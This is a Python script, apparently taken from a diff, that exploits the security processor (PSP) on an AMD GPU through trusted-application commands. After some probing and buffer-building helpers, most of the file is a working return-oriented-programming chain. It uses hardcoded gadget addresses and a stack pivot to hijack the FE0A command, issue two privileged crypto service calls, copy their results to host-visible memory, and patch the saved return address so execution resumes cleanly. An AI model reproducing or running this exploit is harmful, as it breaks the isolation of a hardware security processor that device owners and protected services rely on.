adev.gmc.flush_hdp() + c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD) + iv = c.cmd.cmd_invoke_cmd; iv.session_id, iv.ta_cmd_id = sid, cmd + try: psp._ring_submit(c) + except Exception as e: print(' submit exc', e) + adev.gmc.flush_hdp() + return bytes(adev.vram.view(cp, BUFLEN)[:]) + +def fe0a_buf(h, sel, d86c=0, d834=None, sz818=0x1000): + """identical field set to codeccap's proven fe0a_codec, plus +0x834""" + buf = bytearray(bytes([FILL2]) * BUFLEN) + struct.pack_into('<I', buf, 0, 0xFE0A) + struct.pack_into('<I', buf, 0x10, h) + struct.pack_into('<I', buf, 0x414, 0x1000) + struct.pack_into('<I', buf, 0x818, sz818) + struct.pack_into('<I', buf, 0x81c, 0x20) + struct.pack_into('<I', buf, 0x820, sel) + struct.pack_into('<I', buf, 0x824, 0) + struct.pack_into('<I', buf, 0x828, 0) + struct.pack_into('<I', buf, 0x86c, d86c) + if d834 is not None: struct.pack_into('<I', buf, 0x834, d834) + struct.pack_into('<I', buf, 0x14, 0x11111111) + return buf + +def diffruns(pre, post): + runs, i, n = [], 0, len(post) + while i < n: + if post[i] != pre[i]: + j = i + while j < n and post[j] != pre[j]: j += 1 + runs.append((i, post[i:j])); i = j + else: + i += 1 + return runs + +def probe(tag, sel, d834=None, d86c=0, sz818=0x1000): + h = handshake() + sub(sid, 0xFE08, build(0xFE08, h, blob256=CT)) + sub(sid, 0xFE09, build(0xFE09, h, seed=1, + extra={0x820:1, 0x828:(0x500-0x418)&0xFFFFFFFF, 0x82C:SEED, 0x830:0})) + buf = fe0a_buf(h, sel, d86c=d86c, d834=d834, sz818=sz818) + out = invoke(0xFE0A, buf) + st = struct.unpack_from('<I', out, 8)[0] + d834s = 'none' if d834 is None else '%#x' % d834 + print('%-34s sel=%-3d 0x834=%-12s status=%#x (%d)' % (tag, sel, d834s, st, st)) + runs = diffruns(bytes(buf), out) + for off, data in runs: + if len(data) <= 24: print(' +%#07x %s' % (off, data.hex(' '))) + else: print(' +%#07x len=%-5d %s ...' % (off, len(data), data[:16].hex(' '))) + if not runs: print(' (no host-visible change at all)') + sys.stdout.flush() +import struct as _s +PARAMS=0x04024000 +RBASE_OFF=0x2000; RBASE=PARAMS+RBASE_OFF +PIVOT=0x0040371d # mov sp,r4 ; pop {r4,r5,r6,r7,r8,sb,sl,fp,pc} +STRB =0x00402267 # strb r4,[r5] ; pop {r4,r5,r6,r7,r8,pc} +SETR0=0x00405f79 # pop {r0,r8,fp,pc} +RET =0x0040498d # 0x40498c error-path entry (mov r6,r0 ; cbnz r0 -> 0x4049d8) +R0VAL=0x00000240 # nonzero status for the cbnz +MARK_OFF=0x3000; MARK=PARAMS+MARK_OFF; MARKB=0x5A +SLOT=0x41bfbc # PC slot; sl slot = 0x41bfb8, r4 slot = 0x41bfa0 +def c2p(n): return getattr(adev,'mmMP0_SMN_C2PMSG_%d'%n).read() & 0xFFFFFFFF +def fframe(): return tuple(c2p(n) for n in range(82,89)) +def disp(va): return (va-PARAMS-0x418)&0xFFFFFFFF +def fe0c(h,a10,a18): + b=bytearray(bytes([PAT])*BUFLEN) + _s.pack_into('<I',b,0,0xFE0C); _s.pack_into('<I',b,0x10,h) + _s.pack_into('<Q',b,0x10,a10); _s.pack_into('<Q',b,0x18,a18) + _s.pack_into('<I',b,0x414,0x1000); _s.pack_into('<I',b,0x818,0x1000) + return b + +# ============ CRYPTO ROP HARNESS: TWO svc 0xf2 calls in ONE FE0A-hijacked chain ============ +# The FE0A->ROP hijack is one-shot per boot, so stateful crypto sequences (e.g. create -> digest) +# must issue both svc 0xf2 service-1 calls inside a single ROP chain. This chain does: +# migrate -> svc(msgA) -> svc(msgB) -> exfil statusB -> dump msgB region -> graceful return +# Context handles are deterministic on a fresh boot (first create -> 0x10), so msgB can reference +# the handle created by msgA without threading a return value. +# +# Env OPS = JSON [ {op,msg}, {op,msg} ] (exactly 2 ops: A then B). B's result is dumped. +RBASE_OFF=0x2000; SRC_OFF=0x2200; STACK_DST=0x00410000; MLEN=0x600 +EXFIL=PARAMS+0x3000; DUMPDST=PARAMS+0x3010; DUMPLEN=0x80; MARK2=PARAMS+0x3100 +SETARGS=0x0040167f; MEMCPYG=0x0040410b; SVC1=0x004061cb; EXFILG=0x0040404f +SERVICE=1; GRACE=0x200; MSGA_OFF=0x300; MSGB_OFF=0x400 +SCRATCH_OFF=0x500 # input bytes + output buffer live here (in the GCP window) +import os as _os, json as _json +OPS=_json.loads(_os.environ.get('OPS','[{"op":1,"msg":{"15":1342177284,"16":5,"17":0}},{"op":1,"msg":{"15":1342177284,"16":5,"17":0}}]')) +assert len(OPS)==2, "this chain issues exactly 2 svc calls" +INBYTES=bytes.fromhex(_os.environ.get("INBYTES","")) +DUMP_OFF=int(_os.environ.get("DUMP_OFF",str(MSGB_OFF))) + +def _msg(buf,m,off,opcode,msgspec): + def W(o,v): _s.pack_into('<I',buf,o,v&0xFFFFFFFF) + for k in range(off,off+0x100,4): W(m+k,0) + W(m+off, opcode) + for idx,val in msgspec.items(): W(m+off+int(idx)*4, int(val)&0xFFFFFFFF) + +def chain(buf): + def W(off,v): _s.pack_into('<I',buf,off,v&0xFFFFFFFF) + # primary chain: migrate block -> STACK_DST, pivot in + o=RBASE_OFF + for k in range(0,0x20,4): W(o+k,0) + W(o+0x20, SETARGS); W(o+0x24, STACK_DST); W(o+0x28, PARAMS+SRC_OFF); W(o+0x2c, MLEN) + for k in range(0x30,0x58,4): W(o+k,0) + W(o+0x58, MEMCPYG) + W(o+0x84, STACK_DST); W(o+0x88,0); W(o+0x8c,0); W(o+0x90, PIVOT) + m=SRC_OFF + for k in range(0,0x20,4): W(m+k,0) # PIVOT pops r4..fp + # svc A + W(m+0x20, SETARGS); W(m+0x24, SERVICE); W(m+0x28, STACK_DST+MSGA_OFF) + for k in range(0x2c,0x58,4): W(m+k,0) + W(m+0x58, SVC1) # svc(msgA) + W(m+0x78,0); W(m+0x7c,0); W(m+0x80, SETARGS) # -> setargs for svc B + # svc B + W(m+0x84, SERVICE); W(m+0x88, STACK_DST+MSGB_OFF) + for k in range(0x8c,0xb8,4): W(m+k,0) + W(m+0xb8, SVC1) # svc(msgB) (r0=statusB kept) + W(m+0xd8,0); W(m+0xdc, EXFIL); W(m+0xe0, EXFILG) # exfil statusB + # EXFILG: add sp 0x80 -> pop r4,r5,r7,pc @ m+0x164..0x170 + W(m+0x164,0); W(m+0x168,0); W(m+0x16c,0); W(m+0x170, SETARGS) # -> setargs for dump + W(m+0x174, DUMPDST); W(m+0x178, STACK_DST+DUMP_OFF); W(m+0x17c, DUMPLEN) + for k in range(0x180,0x1a8,4): W(m+k,0) + W(m+0x1a8, MEMCPYG) # memcpy(DUMPDST, msgB, 0x80) + # MEMCPYG: add sp 0x28 -> pop r4,r5,r7,pc @ m+0x1d4..0x1e0 + W(m+0x1d4, STACK_DST+GRACE); W(m+0x1d8,0); W(m+0x1dc,0); W(m+0x1e0, PIVOT) + # graceful return at STACK_DST+GRACE + g=m+GRACE + W(g+0x00,0x5A); W(g+0x04,MARK2) + for k in (0x08,0x0c,0x10,0x14,0x18,0x1c): W(g+k,0) + W(g+0x20,STRB) + W(g+0x24,0x8d); W(g+0x28,0x41bfbc); W(g+0x2c,0);W(g+0x30,0);W(g+0x34,0); W(g+0x38,STRB) + W(g+0x3c,0x49); W(g+0x40,0x41bfbd); W(g+0x44,0);W(g+0x48,0);W(g+0x4c,0); W(g+0x50,STRB) + W(g+0x54,0x40); W(g+0x58,0x41bfbe); W(g+0x5c,0);W(g+0x60,0);W(g+0x64,0); W(g+0x68,STRB) + W(g+0x6c,0x00); W(g+0x70,0x41bfbf); W(g+0x74,0);W(g+0x78,0);W(g+0x7c,0); W(g+0x80,STRB) + W(g+0x84,0x41bf9c); W(g+0x88,0); W(g+0x8c,0);W(g+0x90,0);W(g+0x94,0); W(g+0x98,SETR0) + W(g+0x9c,R0VAL); W(g+0xa0,0); W(g+0xa4,0); W(g+0xa8,PIVOT) + # scratch region (input bytes) in the GCP window + for k in range(SCRATCH_OFF,SCRATCH_OFF+0x100,4): W(m+k,0) + for i,bb in enumerate(INBYTES): buf[m+SCRATCH_OFF+i]=bb + # the two messages + _msg(buf,m,MSGA_OFF,int(OPS[0]["op"]),OPS[0].get("msg",{})) + _msg(buf,m,MSGB_OFF,int(OPS[1]["op"]),OPS[1].get("msg",{})) + +def qcs(h,dA,dB): + b=bytearray(bytes([0xBB])*BUFLEN) + _s.pack_into('<I',b,0,0xFE0A); _s.pack_into('<I',b,0x10,h) + _s.pack_into('<I',b,0x14,0x11111111); _s.pack_into('<I',b,0x414,0x1000) + _s.pack_into('<I',b,0x818,0xFFFFFFF0); _s.pack_into('<I',b,0x81c,0x40) + _s.pack_into('<I',b,0x820,4); _s.pack_into('<I',b,0x824,0); _s.pack_into('<I',b,0x828,0) + _s.pack_into('<I',b,0x838,dB&0xFFFFFFFF); _s.pack_into('<I',b,0x83c,0x200) + _s.pack_into('<I',b,0x840,dA&0xFFFFFFFF); _s.pack_into('<Q',b,0x14+0x200,0) + chain(b); return b + +A10=RBASE&0xFFFFFFFF; A18=(PIVOT<<32) +h=handshake() +sub(sid,0xFE0C,fe0c(h,A10,A18)) +sub(sid,0xFE08,build(0xFE08,h,blob256=CT)) +sub(sid,0xFE09,build(0xFE09,h,seed=1,extra={0x820:1,0x828:(0x500-0x418)&0xFFFFFFFF,0x82C:SEED,0x830:0})) +out=invoke(0xFE0A,qcs(h,disp(SLOT-0x1c),disp(SLOT-0x04))) +st=_s.unpack_from('<I',out,8)[0]; fr=fframe() +statusB=_s.unpack_from('<I',out,0x3000)[0]; grace=out[0x3100] +md=[_s.unpack_from('<I',out,0x3010+i*4)[0] for i in range(DUMPLEN//4)] +print("TWO-SVC chain: opA=%#x opB=%#x"%(int(OPS[0]['op']),int(OPS[1]['op']))) +print(" FE0A status=%#x grace=%#04x (want 0x5a)"%(st,grace)) +print(" svc(B) return @+0x3000 = %#x"%statusB) +print(" msgB dump: M[14]=%#x M[15]=%#x M[16]=%#x M[17]=%#x"%(md[14],md[15],md[16],md[17])) +print(" msgB M[0..9]: %s"%" ".join("%08x"%md[i] for i in range(10))) +ta,o2=sub(sid,0xFE07,build(0xFE07,0)); print(" final FE07: ta=%#x ringok=%s"%(ta,ta==0)) |
